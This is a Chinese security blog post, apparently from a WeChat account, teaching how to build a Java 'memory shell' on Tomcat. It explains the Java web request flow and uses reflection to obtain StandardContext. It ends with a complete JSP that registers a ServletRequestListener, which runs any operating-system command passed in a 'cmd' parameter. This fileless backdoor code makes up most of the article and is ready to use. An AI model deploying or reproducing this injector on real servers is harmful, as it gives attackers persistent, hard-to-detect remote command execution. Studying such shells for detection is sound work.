点击上方蓝字·关注我们
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
这篇文章作为手搓内存马系列的开篇,文章中会提到部分基础知识,后续文章中将不再啰嗦,只有技术分析和实现
基础知识
内存马介绍
JAVAweb的访问流程
Listener内存马
Listener创建
调试分析
手搓内存马
基础知识
内存马介绍
在学习内存马之前我们要先明白,内存马和我们常规木马的一个区别,我们常规的木马是对应一个木马文件,访问触发,这种是有实体文件的,而内存马它是直接注入到内存中的,它是没有实体文件的
php,python,java语言都有对应的内存马技术,其实java的种类最多,文章主要是学习java内存马
java中内存马的分类:
可以看到有非常多,这篇文章我们先介绍java传统的内存马中的Listener,后续再分析其它的
JAVAweb的访问流程
这里先拿传统的javaweb架构介绍
学过javaweb开发的应该都清楚,我们完整的javaweb系统,假如说我们要访问一个caigo.jsp后面,它的访问流程是:
1、客户端发送请求,例如访问 /caigo.jsp
2、数据经过Listener(监听器)层,如果有的话
3、数据经过Filter(过滤器)层,如果有的话
4、数据来到Servlet,访问对应的/caigo.jsp路由,如果有的话
5、访问caigo.jsp文件
我们发现,传统javaweb项目和php的区别就在于有Listener、Filter、Servlet这几个东西,如果是php的话,我们访问文件的流程就会很简单
1、客户端发送请求,例如访问 /caigo.php
2、访问caigo.php文件
那么实际上,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西
listener类型的内存马就是创建了个新的Listener,其它类型的内存🐎也是同理
Listener内存马
Listener创建
分析之前我们先创建一个LIstener
public class TestLIstener implements ServletRequestListener{
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("监听器初始化");
ServletRequestListener.super.requestInitialized(sre);
}
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("监听器销毁");
ServletRequestListener.super.requestDestroyed(sre);
}
}
再在web.xml中配置下Listener
<listener>
<listener-class>com.example.neicunma.TestLIstener</listener-class>
</listener>
然后启动项目,访问
可以看到不管我们访问什么路由,只要有访问网站的请求就会触发初始化,这里我们就会想如果把我们初始化内容的代码改成命令执行的,是不是就会执行命令呢?
我们可以更加完善一下
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("监听器初始化");
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
//创建HttpServletRequest对象
String requestURI = request.getRequestURI();
//获取当前请求的 URI 并存储在 requestURI 变量中
if (requestURI.contains("/caigo")) {
//检查请求的 URI 是否包含字符串 /caigo
String cmd = request.getParameter("cmd");
//从请求参数中获取名为 cmd 的参数值,并存储在 cmd 变量中
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
//尝试执行 cmd 参数指定的命令
}
ServletRequestListener.super.requestInitialized(sre);
}
到这里我们了解了如何创建一个Listener,并且尝试让他成为我们的后门,那么接下来我们就要思考几个点
1、这个listener是咋把我们创建的类加载到内存中的
2、我们如何通过java代码把我们自定义的listener类加载到内存中
因为我们现在这个Listener是我们自己创建的,是有代码的,我们要做的是创建一个Listener直接把它写入内存中,那么就是我们所谓的内存马了,接下来我们就开始分析
调试分析
下一个断点,然后启动服务器,可以看到这里我浏览器没弹出,它就已经断下来了,因为它自己会初始化一次,我们主要看,我们自定义的TestLIstener是写在哪了
这是它的调用链,我们从上往下分析,看哪里定义了TestLIstener
这里分析到是applicationListeners,看它的上级调用是StandardContext#context
这里StandardContext类就很关键,我们看下这个类的介绍
StandardContext 是 Apache Tomcat 中的一个核心类,用于表示一个 Web 应用程序的上下文。它是 javax.servlet.ServletContext 接口的一个具体实现。StandardContext 类提供了许多功能和配置选项,以便管理和运行 Web 应用程序。
主要功能和特性
1、Servlet 和 Filter 管理:
StandardContext 负责管理应用程序中的 Servlet 和 Filter 的生命周期。
可以添加、移除和配置 Servlet 和 Filter。
2、会话管理:
提供会话管理功能,包括会话的创建、销毁和持久化。
配置会话超时时间和其他会话相关属性。
3、资源管理:
管理应用程序的资源,如 JAR 文件、静态文件等。
支持对资源的访问控制和缓存。
4、事件监听器:
支持注册各种事件监听器,如 ServletContextListener、ServletRequestListener 等。
监听并处理应用程序的生命周期事件和请求事件。
5、安全性和认证:
提供安全配置选项,包括用户认证、角色授权和安全约束。
支持多种认证方式,如基本认证、表单认证等。
6、部署和配置:
从 web.xml 或注解中读取和应用配置。
支持热部署和自动重新加载。
7、日志记录:
提供日志记录功能,方便调试和监控。
这里里面我们重点关注1和4,可以添加监听器、Servlet 和 Filter,那么这里实际上添加我们传入的TestLIstener用的就是这个类,查一下StandardContext添加LIstener的方法是addApplicationEventListener
这里传入的参数是一个listener对象
我们接下来要做的就是如何获取StandardContext 这个类的context
获取它有下面几种方式
通过request
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
TestLIstener testLIstener = new TestLIstener();
context.addApplicationEventListener(testLIstener);
通过servletContext
//创建ServletContext 为了获取访问的信息的context
ServletContext servletContext = request.getServletContext();
//反射调用ApplicationContext#context
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//反射调用StandardContext#context
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
TestLIstener testLIstener = new TestLIstener();
standardContext.addApplicationEventListener(testLIstener);
通过ContextClassLoader获取
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
除了上面三种还有很多,想要更深入学习可以参考下面这篇文章
https://xz.aliyun.com/t/9914
手搓内存马
其实看到这里,大家应该已经会手搓了,只要把我们前面创建的Listener传入我们获取到的StandardContext的addApplicationEventListener这个方法中
完整代码
<%
class TestLIstener implements ServletRequestListener{
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("监听器初始化");
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String requestURI = request.getRequestURI();
if (requestURI.contains("/caigo")) {
String cmd = request.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("监听器销毁");
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
TestLIstener testLIstener = new TestLIstener();
context.addApplicationEventListener(testLIstener);
%>
效果演示
交流群二维码已更新,公众号后台回复”交流群”获取二维码,如果二维码过期,可以加我联系方式备注“交流群”。
原文始发于微信公众号(菜狗安全):JAVA安全-手搓内存马系列-Listener
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论